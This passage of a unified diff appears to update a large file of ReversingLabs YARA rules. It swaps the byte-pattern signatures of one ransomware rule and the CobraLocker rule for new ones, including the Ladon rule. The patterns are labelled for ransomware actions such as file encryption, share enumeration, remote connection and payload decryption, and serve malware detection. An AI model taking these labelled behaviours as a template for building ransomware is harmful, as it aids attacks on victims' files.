+            6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D
         }
-		$find_files_p4 = {
-            48 8B 01 48 8D 54 24 ?? FF 50 ?? 48 83 C3 ?? 48 3B 5F ?? 75 ?? 48 8D 05 ?? ?? ?? ??
-            48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ??
-            72 ?? 48 FF C2 48 8B 8D ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ??
-            48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF
-            48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 BD ?? ?? ?? ?? 48 8D 4D
-            ?? E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 4C 8D 85 ??
-            ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? ??
-            ?? 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45
-            33 E4 4C 8B 7C 24 ?? 48 8D 95 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0
+		$remote_connection_2 = {
+            45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0D ?? ??
+            ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A
+            ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ??
+            ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ??
+            83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF
+            0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D
+            45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45
+            ?? 0D ?? ?? ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50
+            E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B
+            45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8
+            85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B
         }
-		$enum_shares = {
-            48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 33 D2 C7 44 24 ?? ?? ?? ??
-            ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42
-            ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ??
-            48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54
-            24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 89 5C 24 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00
-            ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ??
-            48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C
-            8B C7 48 8D 54 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 5C 24 ?? 48 8B CF E8 ?? ?? ??
-            ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ??
-            ?? 48 83 C4 ?? C3
+		$remote_connection_3 = {
+            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ??
+            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ??
+            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45
+            ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ??
+            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ??
+            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files_p1 = {
-            48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA
-            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 8B 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 49 83 FE ?? 0F 84 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49
-            8B CE FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B F8 48 85 C0 0F 84 ?? ??
-            ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80
-            A5 ?? ?? ?? ?? ?? 0F B6 8D ?? ?? ?? ?? 80 E1 ?? 80 C9 ?? 88 8D ?? ?? ?? ?? 4C 8D 85
-            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ??
-            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 8B C1 48 8D
-            95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ??
-            ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 8B DE 45 33 C9 45 33 C0 48 8B D6 49 8B CE FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
-            ?? 48 81 F9 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48
+		$find_files = {
+            50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87
+            ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? F6 47 ?? ?? 0F 85 ?? ??
+            ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ??
+            6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75
+            ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83
+            FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ??
+            ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45
+            ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F
+            84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F
+            84 ?? ?? ?? ?? F6 47 ?? ?? 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75
+            ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75
+            ?? 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0
+            F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B DB F7 DB 84 DB
+            75 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files_p2 = {
-            8B FA 48 C1 FF ?? 48 8B C7 48 C1 E8 ?? 48 03 F8 48 85 FF 0F 8E ?? ?? ?? ?? 48 89 74
-            24 ?? 4C 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 89 44 24 ?? 4D 8B CF 4D 8B C7 48 8D 95 ?? ?? ?? ?? 33 C9 E8 ?? ?? ??
-            ?? 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 89 74 24 ?? 4C 8D 8D ??
-            ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ??
-            45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 83 EF ?? 0F 85 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 83 78 ?? ?? 0F 8C ??
-            ?? ?? ?? 41 8B C6 48 8D 1C C5 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B 0C 18 8B
-            04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ??
-            ?? 75 ?? 66 C7 05 ?? ?? 05 00 ?? ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 80 35 ?? ??
-            ?? ?? ?? 80 35 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B
-            0C 18 8B 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ??
-            ?? ?? ?? ?? 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D
+		$decrypt_payload_script = {
+            FF 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF
+            75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75
+            ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8B C3 BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? FF 33 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF
+            75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF
+            75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D
+            45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($enum_shares))
+		uint16(0)==0x5A4D and $find_files and $decrypt_payload_script and ( all of ($remote_connection_*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cobralocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ladon : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects CobraLocker ransomware."
+		description = "Yara rule that detects Ladon ransomware."
 		author = "ReversingLabs"
-		id = "dada6370-3ae3-5931-ba9f-da56ebbcd8c8"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "ebc8f957-cdcf-54eb-bd02-74088cf51768"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara#L1-L59"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "95f4c645c7c237d23b5028f824f78a5f9f8f0a4737b391d877582afe08264d7e"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ladon.yara#L1-L101"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "979e3f3bf6a67bf10b6bfdd2eeb722d8836096076b7e88c6d4aca041a1a9eecb"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37570,56 +38838,93 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cobralocker : TC_DETECTION MALICIOUS
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "CobraLocker"
+		tc_detection_name = "Ladon"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 ??
-            ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-            03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-            09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 02
-            8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DD ?? ?? ?? ?? 11 ?? 38 ?? ?? ?? ??
-            38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DD ??
-            ?? ?? ?? 09 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 DC 00 DD
-            ?? ?? ?? ?? 08 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 00 DC 06
-            13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 2A
-        }
 		$find_files = {
-            16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            0C 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 06 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ??
-            ?? ?? ?? 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17
-            28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ??
-            00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69
-            FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ??
-            ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ??
-            ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11
-            ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ??
-            6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ??
-            16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ??
-            ?? ?? 3A ?? ?? ?? ?? 2A
+            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66
+            3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2
+            75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ??
+            83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ??
